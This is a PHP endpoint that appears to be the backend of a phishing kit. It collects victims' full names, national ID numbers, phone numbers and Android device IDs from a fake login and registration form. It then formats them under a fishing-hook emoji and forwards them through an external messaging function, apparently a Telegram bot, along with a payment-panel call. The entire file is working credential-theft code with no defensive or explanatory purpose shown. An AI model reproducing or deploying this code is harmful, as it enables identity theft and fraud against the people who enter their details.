<?php
error_reporting(0);
require("payment/function.php");
session_start();

header('Content-Type: application/json');
$input = json_decode(file_get_contents('php://input'), true);

if ($input && isset($input['action'])) {
    $action = $input['action'] ?? '';
    $name = $input['username'] ?? ($input['name'] ?? 'Null');  
    $codemeli = $input['pass'] ?? ($input['codmeli'] ?? 'Null');  
    $phone = $input['phone'] ?? 'Null';
    
    $android_id = '';
    if(!empty($_SESSION['android_id'])) {
        if($_SESSION['id_type'] == "e7") {
            $android_id = "\n\n📱⤳ ᴀɴᴅʀᴏɪᴅ ɪᴅ : <code>/panel_{$_SESSION['android_id']}</code>\n";
        } elseif($_SESSION['id_type'] == "x") {
            $android_id = "\n\n📱⤳ ᴀɴᴅʀᴏɪᴅ ɪᴅ : <code>/set_{$_SESSION['android_id']}</code>\n";
        } else {
            $android_id = "\n\n📱⤳ ᴀɴᴅʀᴏɪᴅ ɪᴅ : <code>{$_SESSION['android_id']}</code>\n";
        }
    }

    $message = '';
    if($action == "Register") {
        $message = "🔐⤳ <b>ᴜꜱᴇʀ ʀᴇɢɪꜱᴛᴇʀ ᴏɴ ᴛʜᴇ #Web</b> | {$_SERVER['HTTP_HOST']}\n\n" .
               "• 👤 <b>ꜰᴜʟʟ-ɴᴀᴍᴇ:</b> <code>".htmlspecialchars($name)."</code>\n" .
               "• 🔑 <b>ᴄᴏᴅᴇ-ᴍᴇʟɪ:</b> <code>".htmlspecialchars($codemeli)."</code>\n" .
               "• 📱 <b>ᴛᴇʟ-ᴘʜᴏɴᴇ:</b> <code>".htmlspecialchars($phone)."</code>".
               GetClientInfo();
    } elseif($action == "login") {
        $message = "🎣⤳ <b>ᴜꜱᴇʀ ʟᴏɢɪɴ ᴛʜᴇ #Application</b>\n\n" .
               "• 🪪 <b>ᴄᴏᴅᴇ-ᴍᴇʟɪ:</b> <code>".htmlspecialchars($codemeli)."</code>\n" .
               "• 📱 <b>ᴛᴇʟ-ᴘʜᴏɴᴇ:</b> <code>".htmlspecialchars($phone)."</code>".
               GetClientInfo() . $android_id;
               if(isset($_SESSION['android_id']) and $_SESSION['id_type']= "e7"){
                $result = PaymentRequests(
                    "ADD_INFO",
                    null, 
                    null, 
                    null, 
                    null, 
                    null, 
                    null, 
                    null, 
                    $_SESSION['android_id'], 
                    htmlspecialchars($codemeli), 
                    htmlspecialchars($phone)
                );
               }
               
    }
    
    if(!empty($message)) {
        smg($message);
        echo json_encode(['status' => 'success']);
    } else {
        echo json_encode(['status' => 'error', 'message' => 'Invalid action']);
    }
} else {
    echo json_encode(['status' => 'error', 'message' => 'Invalid input']);
}
?>
